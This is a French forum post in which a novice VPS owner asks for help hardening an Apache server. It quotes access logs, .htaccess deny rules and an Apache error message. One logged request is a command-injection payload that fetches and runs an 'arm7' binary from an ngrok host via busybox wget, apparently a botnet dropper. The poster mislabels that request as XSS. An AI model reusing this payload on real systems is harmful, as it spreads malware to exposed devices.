Bonsoir à tous,
Je viens vous voir car ça fait bien une semaine que je recherche des solutions pour sécuriser mon serveur web. J’utilise un vps, et ne suis malheureusement pas développeur, mais avoir un serveur à gérer et je pense une bonne façon aussi d’en apprendre plus sur la sécurité web.
J’ai subis diverses attaques il y a de ça une semaine environ, les logs indiquent une tentative d’attaques crsf ainsi que des récupération de pages css sûrement pour de ingénierie …
Voici les quelques logs en question :
193.248.252.103 - - [11/May/2020:18:01:25 +0000] « GET /cron.php HTTP/1.1 » 200 991 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »
96.126.126.80 - - [11/May/2020:18:08:29 +0000] « GET /index.php/login HTTP/1.1 » 200 3016 « https://mon_site/ » « Go-http-client/1.1 »
46.45.185.182 - - [11/May/2020:20:41:42 +0000] « GET / HTTP/1.1 » 301 626 « - » "Mozilla/5.0 (Macintosh; Inte
193.248.252.103 - - [11/May/2020:20:51:48 +0000] « GET /index.php/login HTTP/1.1 » 200 9820 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »
193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /apps/files_pdfviewer/css/style.css?v=6a154fe0-11 HTTP/1.1 » 200 910 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »
193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /core/css/guest.css?v=40f029ed-11 HTTP/1.1 » 200 6243 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »
193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /index.php/apps/theming/styles?v=11 HTTP/1.1 » 200 2044 « - » "Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET / HTTP/1.1 » 302 6424 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET /index.php/login HTTP/1.1 » 200 2522 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET /apps/files_pdfviewer/css/style.css?v=6a154fe0-11 HTTP/1.1 » 200 910 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.57 - - [11/May/2020:22:27:02 +0000] « GET /core/css/guest.css?v=40f029ed-11 HTTP/1.1 » 200 11126 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.54 - - [11/May/2020:22:27:19 +0000] « - » 408 543 « - » « - »
171.13.14.53 - - [11/May/2020:22:27:20 +0000] « - » 408 543 « - » « - »
171.13.14.83 - - [11/May/2020:22:27:20 +0000] « - » 408 4882 « - » « - »
171.13.14.84 - - [11/May/2020:22:27:21 +0000] « - » 408 4882 « - » « - »196.52.43.121 - - [11/May/2020:23:23:33 +0000] « GET / HTTP/1.0 » 301 590 « - » « Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36 »
162.243.136.158 - - [11/May/2020:23:27:22 +0000] « GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1 » 400 9941 « - » « Mozilla/5.0 zgrab/0.x »
193.42.99.162 - - [11/May/2020:23:42:09 +0000] « HEAD /robots.txt HTTP/1.0 » 301 273 « - » « - »
Je n’ai pas forcément les compétences nécessaire pour discerner avec précision chaque comportements, j’ai seulement des hypothèses pour certaines lignes
162.243.136.158 - - [11/May/2020:23:27:22 +0000] « GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1 » 400 9941 « - » « Mozilla/5.0 zgrab/0.x »
187.190.246.249 - - [11/May/2020:17:56:26 +0000] « POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}‹ cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7 ›%0A%27&loginUser=a&loginPwd=a HTTP/1.1 » 400 0 « - » « - »
Comme celles ci dessous qui me semble t-il ressemble à du xss … On voit clairement les commandes utilisée … un chmod 777 un wget …
Pour l’instant les ip concernées ont étaient bloqué via .htaccess mais j’en et encore vu d’autres récemment de Russie, Syrie, etc …
En fouillant sur le net je suis tombé sur des sites intéressant tels que :
https://owasp.org/www-project-csrfguard/
https://www.netnea.com/cms/apache-tutorial-6_embedding-modsecurity/
https://wiki.visionduweb.fr/index.php?title=Installer_Apache2_sur_Debian#Require_host_-_Les_h.C3.B4tes_du_domaine_ont_l.27autorisation_d.27acc.C3.A8s.2C_tous_les_autres_sont_rejet.C3.A9s
Seulement où certains ne sont plus à jours, où pour d’autres il s’agit de conseils plus que de réels solutions factuel. Bref ça m’aide mais ça ne vaut pas l’aide personnalisée de gens plus expérimenté.
En lisant les articles ici et là apparemment ce qui conviendrais le mieux en terme de polyvalences / efficacités serait mods-security mais j’ai aussi pu lire que sa configuration était très sensible, donc je ne me voit pas me lancer dans un tutoriel à l’aveuglette …
Je pourrais aussi choisis de bloquer toutes les ip sauf quelques une mais j’aimerais si possible éviter d’en arriver à une solution aussi drastique … Pour ce qui est de bloquer les ip en dehors de la zone française, je viens de trouver ce post Iptables interdire les pays sauf la france donc merci
Dans tous les cas, je ne demande qu’à apprendre donc si vous avez des liens / conseils je suis preneur.
Merci d’avance à tous !
PS : J’ai essayé de bloquer les ip des pays qui attaques couramment, j’ai pour ça suivit la doc de ma version à savoir https://httpd.apache.org/docs/2.4/fr/howto/access.html
ça ne fonctionne pas … aucuns ping du serveur j’obtiens un message avec délais d’attente dépassé … Voici un extrait de ce que j’ai mit dans le htaccess
Require all granted Require not ip 50.62.136.183 Require not ip 193.248.252.103 Require not ip 1.34.88.3 Require not ip 5.202.150.143 Require not ip 80.82.78.104
Est ce parce que ma liste est trop longue selon vous ?
EDIT : Je viens de regarder il semblerait que le problème vienne du fait que la limite d’opération simultanée est trop importante (arrêter moi si je me trompe )
server reached MaxRequestWorkers setting, consider raising the MaxRequestWorkers setting